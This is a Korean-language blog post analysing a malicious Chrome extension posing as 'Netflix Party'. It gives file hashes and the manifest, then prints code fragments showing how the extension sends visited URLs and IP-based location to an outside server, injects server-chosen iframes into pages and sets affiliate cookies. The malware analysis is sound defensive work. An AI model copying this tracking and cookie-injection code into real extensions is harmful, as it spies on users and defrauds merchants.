꿈을꾸는 파랑새

오늘은 구글 크롬 공식 스토어 에서 구글 크롬 탐색 활동을 훔치는 악성코드 구글 크롬 부가기능에 인 Netflix Party에 대해 알아보겠습니다.
해당 유포되었던 구글 크롬 부가기능 주소는 다음과 같습니다.

https://chrome.google(.)com/webstore/detail/netflix-party/mmnbenehknklpbendgmgngeaignppnbe?hl=ko

현재 폭발이 되었음
해당 악성코드는 넷플릭스 비디오 열기 친구와 파티 링크 공유 가입, 프로필 및 채팅을 사용하여 이름과 아바타를 변경하여 친구들과 항상 채팅할 수 있습니다. 해당 악성코드는 의도한 기능을 제공하는 것 외에도 확장 프로그램은 사용자의 탐색 활동도 추적을 하며 방문한 모든 웹사이트는 확장 프로그램 작성자가 소유한 서버로 전송 방문 중인 전자 상거래 웹 사이트에 코드를 삽입할 수 있도록 해당 작업을 수행 해당 작업은 사이트의 쿠키를 수정하여 확장 프로그램 작성자가 구매한 모든 항목에 대한 제휴 지불을 받을 수 있도록 하며
구글 크롬 부가기능의 사용자는 해당 기능과 방문하는 모든 사이트의 개인 정보 위험이 확장 작성자의 서버로 전송된다는 사실을 인지 못하는 것이 특징입니다.

구글 크롬 Netflix Party 악성 부가 기능 설치
구글 크롬 Netflix Party 악성 부가 기능 설치

일단 제가 분석을 진행한 것은 Netflix Party (mmnbenehknklpbendgmgngeaignppnbe) 구글 크롬 부가 기능이면 현재 해당 부가기능은 삭제된 상태입니다.
manifest.json은 배경 페이지를 bg.html로 설정합니다. 이 HTML 파일은 b0.js를 로드하며 방문 중인 URL을 보내고 전자 상거래 사이트에 코드를 삽입하는 역할을 진행합니다.

먼저 해쉬값은 다음과 같습니다.
파일명:mmnbenehknklpbendgmgngeaignppnbe.crx
사이즈:198 KB
CRC32:956c720c
MD5:0ad59c21e1867471db8c63ab8f28bf68
SHA-1:db951ab093060cd5326e65e0107c53115c94ceb9
SHA-256:c24122706430a211b1eeca2646fbbc888367d459fad36b7382b01a2ceb9f6543
SHA-512:c89f350d4495fa256e8b103ebadda6cb872725fcbde8d4eed21319e28ec0f7ed82769d7c82afb4a21f985ec3dbc412ffd960ed3de9d42b43b73b3e3f4ef06a6e
입니다.

manifest.json 내용
manifest.json 내용

먼저 Manifest.json 에 있는 코드는 다음과 같습니다.

update_url": "https://clients2.google(.)com/service/update2/crx",

  "manifest_version": 2,

  "name": "__MSG_extName__",
  "description": "Install Netflix Party Plus Chrome extension to watch along with your friends",
  "version": "2.2.5",
  "default_locale": "en",

  "content_security_policy": "script-src 'self' https://ssl.google-analytics(.)com; object-src 'self'",
  "browser_action": {
    "default_icon": "g_32.png",
    "default_title": "__MSG_extName__",
    "default_popup": ""
  },
  "background": {
    "page": "bg.html",
    "persistent": true
  },
  "permissions": [
    "tabs",
    "http://*/*",
    "https://*/*",
    "cookies",
    "storage",
    "webRequest",
    "webRequestBlocking"
  ],
  "content_scripts": [
  {
      "js": [
          "c1.js"
      ],
      "run_at": "document_end",
      "matches": [
          "http://*/*",
          "https://*/*"
      ]
  },
    {
      "js": [
            "content_script.js"
        ],
        "css":[
           "common.css"
        ],
        "run_at": "document_end",
        "match_about_blank": false,
        "matches": [
            "https://*.netflix(.)com/*"
        ]
    }
  ],
  "icons": {
    "16": "16.png",
    "32": "32.png",
    "128": "128.png"
  },
  "web_accessible_resources": ["img/*"]
}

입니다.
manifest.json은 배경 페이지를 bg.html로 설정을 하며 해당 HTML 파일은 b0.js를 로드하며 방문 중인 URL을 보내고 전자 상거래 사이트에 코드를 삽입하는 역할을 담당합니다.

b0.js 코드 내용
b0.js 코드 내용

B0.js
b0.js 스크립트에는 많은 기능이 포함되어 있습니다. 방문한 URL을 서버로 보내고 응답을 처리하는 기능에 초점을 맞추며 구글 크롬 확장 기능 이벤트를 구독한 다음 특정 활동을 수행하기 위한 트리거로 사용하여 작동하며 분석된 확장 프로그램은 chrome.tabs.onUpdated에서 오는 이벤트를 구독합니다. chrome.tabs.onUpdated는 사용자가 탭 내에서 새 URL로 이동할 때 트리거를 진행을 합니다.
b0.js 에 있는 내용은 다음과 같습니다.

chrome.tabs.onUpdated.addListener(async function (tabId, changeInfo, tab){
    var e = "https://d.langhort(.)com";
    var curl = false;
    let ref ='';
    var extnm = 'nparty';
    var myid = get_set_id();
    if(changeInfo.status == 'complete'){
        curl = tab.url;
        ref = await get_ref(tabId);
    }
    var pattern = /^((http|https|ftp):\/\/)/;
    if(!curl || !pattern.test(curl)) return;
    let data1 ={ref: btoa(ref)};
    if(location_data && location_data.country) data1 = {...data1,country:location_data.country,city:location_data.city,zip:location_data.zip}
    var userid = curl;
    
    if(tab.url == undefined){
        return;
    }

보시면 국가, 도시, 지역 등을 수집하는 것을 볼 수가 있습니다.
해당 이벤트가 트리가 되면 확장은 tab.url 변수를 사용하여 탭의 URL과 함께 curl이라는 변수를 설정하며 전송되는 몇 가지 다른 변수를 생성합니다. d.langhort(.)com POST 데이터의 형식은 다음과 같습니다.

쿼리에 응답
쿼리에 응답

Ref: Base64로 인코딩된 추천 URL
County: 컴퓨터, 노트북의 국가
City: 컴퓨터, 노트북 인터넷 기반 접속한 도시 및 지역
Zip: 기기의 우편번호
Apisend: 사용자에 대해 생성된 임의의 ID
Name: 방문 중인 Base64 인코딩 URL 
ext_name: 크롬 확장 프로그램의 이름
입니다.

임의의 ID 생성 코드
임의의 ID 생성 코드

저 경우에 Name을 보면 aHR0cHM6Ly91bnNjYXJ0LmluL2Evd2Vic2l0ZS9zY3JhcHBlci9hZHMvZ2V0QWRzU2VsZWN0b3I=
이렇게 Base64로 인코딩이 된 것을 볼 수가 있고 이것을 디코딩하면 다음과 같은 결괏값을 얻을 수가 있었습니다.
https://unscart(.)in/a/website/scrapper/ads/getAdsSelector
임의의 ID는 문자 집합에서 8개의 임의의 문자를 선택하여 생성 코드는 아래와 같습니다.

function makeid234() {
    var text = "";
    var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
    for (var i = 0; i < 8; i++)
        text += possible.charAt(Math.floor(Math.random() * possible.length));
    return text;
}
function get_set_id(){
  if(localStorage.id234 && localStorage.id234.length == 8) return localStorage.id234;
  var id234 = makeid234();
  localStorage.id234 = id234;
}

국가, 도시(IP 주소 기반 접속 지역) ,우편번호 는 ip-api을 사용하여 수집합니다. 코드는 아래와 같습니다.

국가 도시 우편번호 수집
국가 도시 우편번호 수집

async function get_location(){ 
    if(location_data) return location_data;
    let loc_data = localStorage['location_data'];
    if(loc_data){
        try{
            location_data = JSON.parse(loc_data);
            return location_data;
        }
        catch(e){console.log(e)}
    }
    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) { 
            try{
               let d =  JSON.parse(xhttp.responseText);
               let country = d.countryCode;
               let city = d.city;
               let zip = d.zip;
               if(country){
                location_data = {country:country,city:city,zip:zip};
                console.log(location_data);
                localStorage['location_data'] = JSON.stringify(location_data);
                return location_data;
               }
            }
            catch(e){ return false;}
        }
    };
    xhttp.open("GET", "http://ip-api(.)com/json", true);
    xhttp.send();
}

반환된 데이터는 JSON 형식이며 응답은 아래 함수를 사용하여 확인 응답 된 내용에 따라 추가 기능을 호출에 포함 시킵니다.

반환된 JSON
반환된 JSON

해당 코드는 다음과 같습니다.

passf_url
passf_url

if(!document.getElementById("a"))
                        {
                          var elem = document.createElement('div');
                          elem.id = "a";
                          document.body.appendChild(elem);
                        }
                        if(result['a']){
                            chrome.tabs.executeScript(tabId, {
                                code: 'var domscript = document.createElement("iframe");domscript.src = "'+result['a']+'";document.getElementsByTagName("head")[0].appendChild(domscript);'
                            });
                        }
                        if(result['b']){
                            if(ranum(5) == 4) document.getElementById("a").innerHTML = '';
                            var iframe = document.createElement('iframe');
                            iframe.src = result['b'];/* your URL here */;
                            document.getElementById("a").appendChild(iframe);
                        }
                        if(result['b2']){
                            var iframe = document.createElement('iframe');
                            iframe.src = result['b2'];/* your URL here */;
                            document.getElementById("a").appendChild(iframe);
                        }
                        if(result['b3']){
                            openf_url(result['b3'],tabId);
                        }
                        if(result['c']){
                            passf_url(result['c'],tabId);
                        }
                        if(result['d']){ 
                            xmlopen(result['d']);
                        }
                        if(result['e']){ 
                            // Permission required Cookies
                            setCookie(result['e'][0],result['e'][1],result['e'][2],24*3600);
                        }
                        if(result['f']){ 
                            sendData(tabId, {popup: result['f']});
                            console.log(tabId);
                        }
                    }

passf_url 

결과에 따라서 구글 크롬 부가기능 프로그램은 반환된 URL을 쿼리을 진행을 하며 그런 다음 응답을 확인하고 상태가 200 또는 404이면 쿼리 가 URL로 응답했는지 확인합니다. 그렇다면, 서버에서 수신한 URL을 방문 중인 웹사이트에 Iframe 으로 삽입을 진행합니다.
해당 코드는 다음과 같습니다.

추가 기능 호출
추가 기능 호출

function openf_url(url,tabId){
    httpq4.open("GET", url, true);
    httpq4.setRequestHeader('Cache-Control', 'no-cache');
    httpq4.onreadystatechange = function() { 
      if (httpq4.readyState == 4 && (httpq4.status == 200 || httpq4.status == 404)) {
        if(httpq4.responseURL){
            var iframe = document.createElement('iframe');
            iframe.src = httpq4.responseURL;/* your URL here */;
            document.getElementById("a").appendChild(iframe);
        }
      }

setCookie
결과를 쿠키로 삽입을 진행하며 해당 구글 크롬 부가 기능에서는 올바른 쿠키 권한이 있으므로 작성자가 모든 웹사이트에 쿠키를 추가할 수 있습니다.
코드는 다음과 같습니다.

setCookie
setCookie

var httpq4 = new getXMLHTTPRequest;
var setCookie = (function(url, cookieName, cookievalue, time) {
    return new Promise(function(resolve) {
        chrome.cookies.set({
        url: url,
        name: cookieName,
        value: cookievalue,
        expirationDate: (new Date()
            .getTime() / 1000) + time
       }, () =>{resolve(cookievalue)});
    });
});

결론 구글 크롬 부가기능을 설치할 때 항상 주의를 해야 하며 권한은 확장 프로그램을 설치하기 전에 구글 크롬에서 확인을 할 수가 있습니다.
어느 브라우저이든지 항상 주의하는 습관을 가져야 합니다.

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band